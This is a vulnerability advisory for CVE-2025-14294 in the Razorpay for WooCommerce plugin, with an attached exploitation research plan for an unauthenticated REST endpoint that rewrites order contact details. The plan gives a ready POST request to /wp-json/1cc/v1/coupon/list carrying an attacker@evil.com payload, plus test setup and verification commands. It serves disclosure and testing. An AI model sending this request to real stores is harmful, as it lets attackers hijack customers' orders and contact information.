Razorpay for WooCommerce <= 4.7.8 - Missing Authentication to Unauthenticated Order Modification
Description
The Razorpay for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the getCouponList() function in all versions up to, and including, 4.7.8. This is due to the checkAuthCredentials() permission callback always returning true, providing no actual authentication. This makes it possible for unauthenticated attackers to modify the billing and shipping contact information (email and phone) of any WooCommerce order by knowing or guessing the order ID.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.7.8What Changed in the Fix
Changes introduced in v4.7.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14294 ## 1. Vulnerability Summary The **Razorpay for WooCommerce** plugin (up to version 4.7.8) contains a missing authentication vulnerability in its custom REST API implementation. The plugin registers several endpoints for its "Magic Checkout" (1cc) feature…
Show full research plan
Exploitation Research Plan: CVE-2025-14294
1. Vulnerability Summary
The Razorpay for WooCommerce plugin (up to version 4.7.8) contains a missing authentication vulnerability in its custom REST API implementation. The plugin registers several endpoints for its "Magic Checkout" (1cc) feature. One specific endpoint, 1cc/v1/coupon/list, uses a permission callback that unconditionally returns true. This allows unauthenticated attackers to invoke the getCouponList function, which incorrectly performs data modification (updating order billing/shipping info) before returning the requested coupon data.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/1cc/v1/coupon/list - Vulnerable Parameter(s):
order_id: The WooCommerce Order ID to target.email: The new email address to set on the order.contact: The new phone number to set on the order.
- Authentication Level: Unauthenticated (Public).
- Preconditions:
- The plugin "Razorpay for WooCommerce" must be active.
- An existing WooCommerce order ID must be known or guessed (order IDs are typically sequential integers).
3. Code Flow
- Route Registration: In
includes/api/api.php, the functionrzp1ccInitRestApi()registers the route:register_rest_route( RZP_1CC_ROUTES_BASE . '/coupon', // '1cc/v1/coupon' 'list', array( 'methods' => 'POST', 'callback' => 'getCouponList', 'permission_callback' => 'checkAuthCredentials', ) ); - Auth Bypass: The
permission_callbackpoints tocheckAuthCredentials()inincludes/api/auth.php, which simply returnstrue:function checkAuthCredentials() { return true; } - Data Modification Sink: The callback
getCouponListinincludes/api/coupon-get.phpprocesses the request:- It retrieves
order_id,email, andcontactfrom the request parameters. - It fetches the order using
wc_get_order($orderId). - If an
emailis provided, it updates_billing_emailand_shipping_emailusing eitherupdate_meta_data(for High-Performance Order Storage/HPOS) orupdate_post_meta. - If a
contactis provided, it updates_billing_phoneand_shipping_phonesimilarly. - All of this occurs before any coupon logic or validation beyond checking if the order exists.
- It retrieves
4. Nonce Acquisition Strategy
This specific vulnerability does not require a WordPress nonce.
- The REST API endpoint is registered with a
permission_callbackthat returnstrue. - Standard WordPress REST API nonce requirements (
_wpnonceorX-WP-Nonce) are enforced only for authenticated sessions to prevent CSRF. For unauthenticated routes explicitly allowing public access, WordPress does not require a nonce. - Inspection of
getCouponListinincludes/api/coupon-get.phpconfirms there are no manual nonce verification calls (e.g.,wp_verify_nonce).
5. Exploitation Strategy
The goal is to modify the contact details of an existing order.
Step-by-Step Plan:
- Identify Target: Determine a valid WooCommerce Order ID (e.g.,
123). - Craft Payload: Create a JSON or URL-encoded payload containing the target
order_idand the maliciousemail/contactvalues. - Execute Request: Send a POST request to the REST endpoint.
HTTP Request (using http_request tool):
- Method:
POST - URL:
http://<target-site>/wp-json/1cc/v1/coupon/list - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
order_id=123&email=attacker@evil.com&contact=9999999999
6. Test Data Setup
To verify the exploit in the test environment:
- Install WooCommerce: Ensure WooCommerce is active.
- Create a Product:
wp post create --post_type=product --post_title="Test Product" --post_status=publish - Create an Order:
- Use WP-CLI to create an order:
wp wc shop_order create --user=1 --customer_id=1 --billing='{"email":"original@example.com","phone":"1234567890"}' - Note the returned ID (e.g.,
123).
- Use WP-CLI to create an order:
- Confirm Original State:
wp post meta get 123 _billing_email
7. Expected Results
- Success Indicator: The server returns a
200 OK(or potentially a400if coupon logic fails later, but after the metadata update). The response body will likely be a JSON object containing coupon data or an empty list. - Data Change: The
_billing_email,_shipping_email,_billing_phone, and_shipping_phonemeta values for the target order ID will be updated to the values provided in the exploit.
8. Verification Steps
After executing the HTTP request, run the following WP-CLI commands to confirm the injection:
- Check Email:
wp post meta get <ORDER_ID> _billing_email- Expected:
attacker@evil.com
- Expected:
- Check Phone:
wp post meta get <ORDER_ID> _billing_phone- Expected:
9999999999
- Expected:
- Check Shipping Info:
wp post meta get <ORDER_ID> _shipping_email- Expected:
attacker@evil.com
- Expected:
9. Alternative Approaches
If the 1cc/v1/coupon/list endpoint fails for some reason (e.g., environment-specific constraints on the query), other endpoints in api.php also use checkAuthCredentials and might have similar logic:
1cc/v1/coupon/apply(applyCouponOnCart): Usesorder_idandemailand callsinitCustomerSessionAndCart().1cc/v1/cod/order/prepay(prepayCODOrder): Processes order information.
However, getCouponList is the most direct path as the modification logic is explicitly present in the source for that function. Reachable via:includes/api/coupon-get.php lines 47-66.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.